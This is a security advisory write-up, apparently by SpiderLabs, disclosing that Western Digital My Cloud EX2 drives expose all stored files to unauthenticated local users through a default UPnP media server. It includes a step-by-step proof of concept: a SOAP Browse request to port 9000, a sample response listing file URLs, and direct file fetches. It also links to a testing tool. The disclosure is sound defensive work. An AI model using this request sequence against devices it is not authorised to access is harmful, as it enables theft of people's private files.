Western Digital's My Cloud is a popular storage/backup device that lets users backup and store important documents, photos and media files. Unfortunately the default configuration of a new My Cloud EX2 drive allows any unauthenticated local network user to grab any files from the device using HTTP requests. This is due to a UPnP media server that is automatically started when the device is powered on. By default, unauthenticated users can grab any files from the device completely bypassing any permissions or restrictions set by the owner or administrator.
Here is small proof-of-concept with explanation of each step:
- Attacker issues HTTP request to port 9000 asking for the "TMSContentDirectory/Control" resource. The request should contain XML with Browse action in it.
POST /TMSContentDirectory/Control HTTP/1.1
Content-Length: 447
Soapaction: "urn:schemas-upnp-org:service:ContentDirectory:1#Browse"
Content-Type: text/xml
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
<ObjectID>B</ObjectID>
<BrowseFlag>BrowseDirectChildren</BrowseFlag>
<Filter>*</Filter>
<StartingIndex>0</StartingIndex>
<RequestedCount>30</RequestedCount>
<SortCriteria></SortCriteria>
</u:Browse>
</s:Body>
</s:Envelope>
- UPnP server will respond with list of files on the device. The response will look like:
...
<item id="0$2$20I258" parentID="0$2$20" restricted="1">
<dc:title>L1010268</dc:title>
<dc:date>2017-12-03</dc:date>
<upnp:album>Leica</upnp:album>
<pv:extension>JPG</pv:extension>
...
<pv:bookmark>uuid:55076f6e-6b79-4d65-64cf-0014ee1c561c,-L3NoYXJlcy9QdWJsaWMvU2hhcmVkIFBpY3R1cmVzL0xlaWNhL0wxMDEwMjY4LkpQRw==</pv:bookmark
<res size="4768768" resolution="4112x3088" protocolInfo="http-get:*:image/jpeg:*">http://MYCLOUDIP:9000/disk/NON-DLNA-OP01-FLAGS00d00000/O0$2$20I258.JPG</res>
...
Notice URLs in the protocolInfo attributes of res elements. Element pv:bookmark contains base64 encoded path to the file on the device.
- Attacker uses subsequent HTTP requests to fetch actual files from the device using URLs from the response collected at step 2.
Unfortunately, WD declined to fix this insecure default setting. Instead they recommend that users follow this knowledge base article to turn off DLNA "if they do not wish to utilize the product feature."
For more information please see our advisory: TWSL2018-005
I have also created a tool you can use to test your own devices: https://github.com/SpiderLabs/advisories-poc/blob/master/TWSL2018-005/send-browse.py
